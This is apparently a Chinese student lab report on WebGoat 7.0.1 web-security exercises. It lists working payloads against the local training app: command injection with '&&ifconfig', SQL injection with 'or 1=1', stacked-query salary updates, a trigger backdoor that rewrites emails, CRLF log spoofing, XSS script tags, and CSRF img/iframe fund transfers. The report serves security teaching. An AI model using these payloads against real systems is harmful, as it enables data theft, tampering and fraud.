下载webgoat-container-7.0.1-war-exec.jar文件
因WebGoat默认使用8080端口,所以开启前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程
普通安装,需要在含有webgoat-container-7.0.1-war-exec.jar文件的目录下执行java -jar webgoat-container-7.0.1-war-exec.jar

浏览器打开WebGoat,输入http://localhost:8080/WebGoat进入WebGoat登录界面
用默认用户名密码登录

右键点击页面,选择inspect Element审查网页元素对源代码进行修改
在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"&&ifconfig"

点击view,可以看到执行指令后的网络端口使用情况和IP地址,攻击成功

右键点击页面,选择inspect Element审查网页元素对源代码进行修改
在选中的城市编号Value值中添加or 1=1

显示所有城市的天气情况,攻击成功

在 username 中填入Zyh%0d%0aLogin Succeeded for username: admin,密码随意,可以看到登陆成功

这种漏洞可以被攻击者利用以添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到
Smith‘ or 1=1--,执行后可以看到所有人的卡号等信息
输入101查看现有的信息

使用101; update employee set salary=100000,执行两条语句,第一条用于查看信息,后面的update则将薪水更新为100000

使用101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘20175322@hackme.com‘WHERE userid = NEW.userid在每行插入前修改邮箱为指定邮箱

编写好表单代码,在搜索框输入代码,页面增加一个表单

输入用户名和密码信息,攻击者就可以通过WebGoat获取这些信息

<script>alert("I‘m 20175322!");</script>Message List中会新增刚输入的Tile名字的链接,点击链接
<script>alert(" 20175322!");</script>,之后提交
<img src="http://localhost:8080/WebGoat/attack?Screen=321&menu=900&transferFunds=5000" width="1" height="1" />
<iframe src="attack?Screen=329&menu=900&transferFunds=1000"> </iframe>
<iframe src="attack?Screen=329&menu=900&transferFunds=CONFIRM"> </iframe>

2019-2020-2 20175322周弋鸿 《网络对抗技术》Exp9 Web安全基础
原文:https://www.cnblogs.com/zyh5322/p/12944868.html